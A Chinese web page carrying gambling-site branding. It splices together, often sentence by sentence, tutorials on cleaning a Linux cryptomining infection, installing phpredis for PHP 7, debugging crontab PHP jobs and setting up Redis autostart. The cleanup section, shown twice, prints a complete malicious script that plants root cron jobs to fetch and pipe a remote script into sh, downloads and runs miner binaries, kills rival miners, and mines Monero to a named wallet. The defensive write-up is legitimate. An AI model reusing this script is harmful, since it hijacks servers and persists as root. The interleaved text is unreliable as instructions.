澳门新浦京娱乐场网站-www.146.net-新浦京娱乐场官网
做最好的网站

linux境况下为php7装phpredis扩大,crontab不能推行p

点进来的基本都是遇到liunx变矿机的小伙伴吧(cpu运载300%) 卡的连终端都很难打开
开下来之后提示 大意是, 到xxx网站给钱了事, 不过基本这个网站基本也上不去, 要么是暴力破解, 要么是通过 redis 6379端口 详情了解redis安全漏洞

服务器LIUNX之如何解决矿机问题,服务器liunx解决矿

点进来的基本都是遇到liunx变矿机的小伙伴吧(cpu运载300%) 卡的连终端都很难打开
开下来之后提示 大意是, 到xxx网站给钱了事, 不过基本这个网站基本也上不去, 要么是暴力破解, 要么是通过 redis 6379端口 详情了解redis安全漏洞

遇到这种问题毫无疑问:

  • 先要把突然出现的乱七八糟的占cpu过高的进程kill -stop pid 暂停掉, 不要尝试直接kill -9 pid
  • cd /etc/cron 查看定时任务 如果在/var/spool/cron这里面也看下
  • 非法的定时任务 内容大概是这样的
    */5 * * * * curl -fsSL http://www.hacker.com/ltc/minerd/pm.sh | sh
    意思很明确了, 前面的*/5 * * * * 大家很眼熟吧
    curl 是liunx上模拟 浏览器请求的命令 -fsSl 大概意思就是啥都不显示, 你看到下载信息 | sh 下载后运行
    来看下脚本内容
  • export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

    echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0223 | sh" > /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0223 | sh" > /var/spool/cron/crontabs/root
    
    if [ ! -f "/tmp/ddg.223" ]; then
        curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.223
    fi
    chmod  x /tmp/ddg.223 && /tmp/ddg.223
    
    CleanTail()
    {
        ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    }
    
    DoYam()
    {
        if [ ! -f "/tmp/AnXqV.yam" ]; then
            curl -fsSL http://www.haveabitchin.com/yam -o /tmp/AnXqV.yam
        fi
        chmod  x /tmp/AnXqV.yam
        /tmp/AnXqV.yam -c x -M stratum tcp://44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM:[email protected]:443/xmr
    }
    
    DoMiner()
    {
        if [ ! -f "/tmp/AnXqV" ]; then
            curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
        fi
        chmod  x /tmp/AnXqV
        /tmp/AnXqV -B -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:443 -u 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM -p x
    }
    
    DoMinerNoAes()
    {
        if [ ! -f "/tmp/AnXqV.noaes" ]; then
            curl -fsSL http://www.haveabitchin.com/minerd.noaes -o /tmp/AnXqV.noaes
        fi
        chmod  x /tmp/AnXqV.noaes
        /tmp/AnXqV.noaes -B -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:443 -u 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM -p x
    }
    
    ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "AnXqV" || DoMiner
    ps auxf|grep -v grep|grep "AnXqV" || DoYam
    ps auxf|grep -v grep|grep "AnXqV" || DoMinerNoAes
    

     

  • 最后 到 /tmp/中删除所有的文件 完全没关系 记得用ll -a 看下隐藏的文件, 也要删掉

多多了解没错的

 

点进来的基本都是遇到liunx变矿机的小伙伴吧(cpu运载300%) 卡的连终端都很难打开 开下来...

 

本文分析了crontab无法执行php的解决方法。分享给大家供大家参考,具体如下:

遇到这种问题毫无疑问:

phpredis在php7、php5下都有不同的版本,装岔了可能会编译报错,所以在安装之前请先看下自己的php是啥版本。

用crontab跑php程序时,如何去调试,各人有各人的方法。我也有套方法,看一下,我是如何解决crontab执行不了php程序这个问题的。

  • 先要把突然出现的乱七八糟的占cpu过高的进程kill -stop pid 暂停掉, 不要尝试直接kill -9 pid
  • cd /etc/cron 查看定时任务 如果在/var/spool/cron这里面也看下
  • 非法的定时任务 内容大概是这样的
    */5 * * * * curl -fsSL http://www.hacker.com/ltc/minerd/pm.sh | sh
    意思很明确了, 前面的*/5 * * * * 大家很眼熟吧
    curl 是liunx上模拟 浏览器请求的命令 -fsSl 大概意思就是啥都不显示, 你看到下载信息 | sh 下载后运行
    来看下脚本内容
  • export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

    echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0223 | sh" > /var/spool/cron/root
    mkdir -p /var/spool/cron/crontabs
    echo "*/5 * * * * curl -fsSL http://www.haveabitchin.com/pm.sh?0223 | sh" > /var/spool/cron/crontabs/root
    
    if [ ! -f "/tmp/ddg.223" ]; then
        curl -fsSL http://www.haveabitchin.com/ddg.$(uname -m) -o /tmp/ddg.223
    fi
    chmod  x /tmp/ddg.223 && /tmp/ddg.223
    
    CleanTail()
    {
        ps auxf|grep -v grep|grep /tmp/duckduckgo|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "/usr/bin/cron"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "/opt/cron"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "/usr/sbin/ntp"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "/opt/minerd"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "mine.moneropool.com"|awk '{print $2}'|xargs kill -9
        ps auxf|grep -v grep|grep "xmr.crypto-pool.fr:8080"|awk '{print $2}'|xargs kill -9
    }
    
    DoYam()
    {
        if [ ! -f "/tmp/AnXqV.yam" ]; then
            curl -fsSL http://www.haveabitchin.com/yam -o /tmp/AnXqV.yam
        fi
        chmod  x /tmp/AnXqV.yam
        /tmp/AnXqV.yam -c x -M stratum tcp://44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM:x@xmr.crypto-pool.fr:443/xmr
    }
    
    DoMiner()
    {
        if [ ! -f "/tmp/AnXqV" ]; then
            curl -fsSL http://www.haveabitchin.com/minerd -o /tmp/AnXqV
        fi
        chmod  x /tmp/AnXqV
        /tmp/AnXqV -B -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:443 -u 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM -p x
    }
    
    DoMinerNoAes()
    {
        if [ ! -f "/tmp/AnXqV.noaes" ]; then
            curl -fsSL http://www.haveabitchin.com/minerd.noaes -o /tmp/AnXqV.noaes
        fi
        chmod  x /tmp/AnXqV.noaes
        /tmp/AnXqV.noaes -B -a cryptonight -o stratum tcp://xmr.crypto-pool.fr:443 -u 44iuYecTjbVZ1QNwjWfJSZFCKMdceTEP5BBNp4qP35c53Uohu1G7tDmShX1TSmgeJr2e9mCw2q1oHHTC2boHfjkJMzdxumM -p x
    }
    
    ps auxf|grep -v grep|grep "4Ab9s1RRpueZN2XxTM3vDWEHcmsMoEMW3YYsbGUwQSrNDfgMKVV8GAofToNfyiBwocDYzwY5pjpsMB7MY8v4tkDU71oWpDC"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "47sghzufGhJJDQEbScMCwVBimTuq6L5JiRixD8VeGbpjCTA12noXmi4ZyBZLc99e66NtnKff34fHsGRoyZk3ES1s1V4QVcB"|awk '{print $2}'|xargs kill -9
    ps auxf|grep -v grep|grep "AnXqV" || DoMiner
    ps auxf|grep -v grep|grep "AnXqV" || DoYam
    ps auxf|grep -v grep|grep "AnXqV" || DoMinerNoAes
    

     

  • 最后 到 /tmp/中删除所有的文件 完全没关系 记得用ll -a 看下隐藏的文件, 也要删掉

我的redis装的是redis3.2.3版本。

一、php文件有没有执行权限

多多了解没错的

用phpinfo()查看安装的php信息。

复制代码 代码如下:

 

图片 1确认是php7后开始安装。

[root@linux cron]# ls -al |grep del

 

 -rwxr-xr-x  1 zwh  ftpgroup  494 10-20 16:42 del_redis.php 
如果没有X,说明没有执行权限,当然也执行不了。如果你不知道你登录的用户所在的组是不是有权限,直接给所有组都加上权限就行了。方法如下:

下载地址: 

复制代码 代码如下:

复制到/usr/local目录下解压:unzip phpredis-php7.zip

[root@linux cron]# chmod x ./del_redis.php

然后进入解压后的文件的目录,开始重新编译phpize:

二、如果有执行权限了,还是执行不了

cd phpredis-php7

解决方法如下:

/usr/local/php/bin/phpize

1. 在php程序里面写log(例如:error_log()这个函数),这也是必须的,因为crontab定时执行,要是没有log,你怎么知道程序执行的结果怎么样。这样我们可以通过log来查看crontab执行的情况。

./configure --with-php-config=/usr/local/php/lib/php-config      注意这个php-config文件有的版本是在/usr/local/php/bin下,装的时候多找找

2. 也可以直接在crontab里面,将执行的结果输出一个文件当中。然后在这个文件当中查看执行情况。例如:

make && make install 

复制代码 代码如下:

最后在/usr/local/php/lib/php.ini 里面加入:extension=redis.so   php.ini文件也是藏匿在lib、etc、bin这仨之一,装的时候多找找

*/10 * * * * /usr/local/php/bin/php /var/www/cron/del_redis.php >> /home/zhangy/cron.txt

重启apache服务:跑到/usr/local/apache/bin目录下,执行 apachectl restart 

3. 用crontab来执行php,是不走apache,nginx,所以$_SERVER,$_ENV这类变量根本用不了。所以检查一下php代码中有没有这类变量,如果有拿掉。

好了,这时候再次打开phpinfo()页面,搜索redis看能不能找到

  1. php的相对路径问题

图片 2

因为有思维定势在做怪,这个问题也是最容易忽视的。

大功告成!

复制代码 代码如下:

Redis安装和自启动配置

 

Redis是一个C实现的基于内存、可持久化的键值对数据库,在分布式服务中常作为缓存服务。本篇将介绍在CentOS下如何从零开始安装到配置启动服务。

include_once'./mysql.php';

一. 安装Redis

Redis的安装其实相当简单,推荐的方式是下载redis的源码,并在本机编译后安装。

首次进入主文件夹的下载目录下,执行wget下载源码

[zhxilin@localhost ~]$ cd 下载
[zhxilin@localhost 下载]$ wget http://download.redis.io/redis-stable.tar.gz

接下来解压之后,移动到/usr/redis目录下

[zhxilin@localhost 下载]$ tar -zxvf redis-stable.tar.gz 
[zhxilin@localhost 下载]$ su mv redis-stable /usr/redis

然后进入redis目录,执行make命令,编译redis源码

[root@localhost 下载]# cd /usr/redis/
[root@localhost redis]# make

编译完成之后,在src目录下有2个重要程序生成,一个是redis-server,另一个是redis-cli;接着进入src目录,执行make install,这时会把这些可执行程序拷贝到/usr/local/bin目录下,由于/usr/local/bin是在系统的环境变量$PATH下定义的,因此终端在任意位置就可以执行redis-server和redis-cli了。

[root@localhost redis]# cd src/
[root@localhost src]# make install

至此安装redis的工作就完成了。

我们来看看编译出来的几个程序分别是干什么的:

redis-server:顾名思义,redis服务

redis-cli:redis client,提供一个redis客户端,以供连接到redis服务,进行增删改查等操作

redis-sentinel:redis实例的监控管理、通知和实例失效备援服务

redis-benchmark:redis的性能测试工具

redis-check-aof:若以AOF方式的持久化,当意外发生时用来快速修复

redis-check-rdb:若以RDB方式的持久化,当意外发生时用来快速修复

 

安装完成之后,启动redis-server,并运行redis-cli进行测试

[zhxilin@localhost ~]$ redis-server

[zhxilin@localhost ~]$ redis-cli 
127.0.0.1:6379> PING
PONG
127.0.0.1:6379> 

如此说明redis服务已经正常工作,如果redis服务未启动,则运行redis-cli时会报Could not connect to Redis at 127.0.0.1:6379: Connection refused的错误。

 

当php代码中,用的是相对路径时,只有进入到那个目录下执行/usr/local/php/bin/php /var/www/cron/level_rank.php才能生效。这个问题我遇到过至少二次,但是再遇到时还是想不起来。

二. 配置自启动

为了让redis-server能在系统启动时自动运行,需要将redis服务作为守护进程(daemon)来运行,我们回到/usr/redis/目录中找到一个redis.conf的文件,这个文件是redis服务运行时加载的配置,我们先观察一下其中的内容

[zhxilin@localhost redis]$ vi redis.conf 

此文件内容非常长,但是大部分是注释,我们重点关注其中的几个设置daemonizepidfile

其中daemonize默认值是false,pidfile默认值是pidfile /var/run/redis_6379.pid

第一个表示是否daemon化,显然我们要把它改成daemonize yes;

第二个表示当服务以守护进程方式运行时,redis默认会把pid写入/var/run/redis_6379.pid文件,服务运行中该文件就存在,服务一旦停止该文件就自动删除,因而可以用来判断redis是否正在运行

保存后退出。

有了基本配置,redis还需要有一个管理启动、关闭、重启的一个脚本。redis源码里其实已经提供了一个初始化脚本,位置在/usr/redis/utils/redis_init_script

我们来看看这个脚本做了些什么:

#!/bin/sh#

REDISPORT=6379
EXEC=/usr/local/bin/redis-server
CLIEXEC=/usr/local/bin/redis-cli

PIDFILE=/var/run/redis_${REDISPORT}.pid
CONF="/etc/redis/${REDISPORT}.conf"

case "$1" in
start)
if [ -f $PIDFILE ]
then
echo "$PIDFILE exists, process is already running or crashed"
else
echo "Starting Redis server..."
$EXEC $CONF
fi
;;
stop)
if [ ! -f $PIDFILE ]
then
echo "$PIDFILE does not exist, process is not running"
else
PID=$(cat $PIDFILE)
echo "Stopping ..."
$CLIEXEC -p $REDISPORT shutdown
while [ -x /proc/${PID} ]
do
echo "Waiting for Redis to shutdown ..."
sleep 1
done
echo "Redis stopped"
fi
;;
*)
echo "Please use start or stop as first argument"
;;
esac

脚本中指定了端口、server路径、cli路径、pidfile路径以及conf路径,上述标黄的地方都需要正确配置,多说一句,如果在安装时执行了make install,那么这里的脚本不需要做多大改动,因为make install把server和cli都拷到/usr/local/bin下面了。

另外看到这里conf的路径,我们需要把redis目录下的redis.conf文件拷贝到linux境况下为php7装phpredis扩大,crontab不能推行php的消除措施。/etc/redis/6379.conf

[root@localhost utils]# cd /etc
[root@localhost etc]# mkdir redis
[root@localhost etc]# cp /usr/redis/redis.conf /etc/redis/6379.conf 

接着将redis_init_script脚本拷贝到/etc/init.d/redisd

[root@localhost etc]# cp /usr/redis/utils/redis_init_script /etc/init.d/redisd 

在/etc/init.d下的脚本都是可以在系统启动是自动启动的服务,而现在还缺一个系统启动时的配置:

[root@localhost zhxilin]# chkconfig redisd on

然后就会发现报了一个错误:服务 redisd 不支持 chkconfig ?

参考这篇文章, 这是因为我们需要在redis_init_script的开头加一个小改动:``

#!/bin/sh
# chkconfig: 2345 90 10 
# description: Redis is a persistent key-value database

至于这里2345 90 10分别代表什么意思,请参考上面的文章链接。

保存完重新拷贝到/etc/init.d/redisd后,再运行chkconfig就完成了。

 

一切就绪之后,可以执行以下命令检验service是否设置成功:

[root@localhost zhxilin]# service redisd start 
[root@localhost zhxilin]# service redisd stop

等价于

[root@localhost zhxilin]# /etc/init.d/redisd start 
[root@localhost zhxilin]# /etc/init.d/redisd stop

 

最后重启一下系统吧,进入系统之后直接运行redis-cli检验redis服务是否已经自动运行了。

 

解决方法如下:

复制代码 代码如下:

*/10 * * * * cd /var/www/cron && /usr/local/php/bin/php /var/www/cron/level_rank.php

或者 在php代码中用绝对路径

更多关于PHP相关内容感兴趣的读者可查看本站专题:《PHP基本语法入门教程》及《php面向对象程序设计入门教程》

希望本文所述对大家PHP程序设计有所帮助。

您可能感兴趣的文章:

  • 如何使用Linux的Crontab定时执行PHP脚本的方法
  • linux使用crontab实现PHP执行计划定时任务
  • 使用linux命令crontab间隔时间执行其它命令
  • linux crontab 实现每秒执行的实例
  • crontab每10秒执行一次的实现方法
  • Centos 7下利用crontab定时执行任务详解
  • linux下定时执行任务的方法及crontab 用法说明(收集整理)
  • 详解Unix/Linux中周期执行指令Crontab命令
  • Ubuntu系统下用Crontab命令定时执行PHP文件详解
  • crontab实现每隔多少天执行一次脚本的两种方法

本文由澳门新浦京娱乐场网站发布于澳门新浦京娱乐场网站,转载请注明出处:linux境况下为php7装phpredis扩大,crontab不能推行p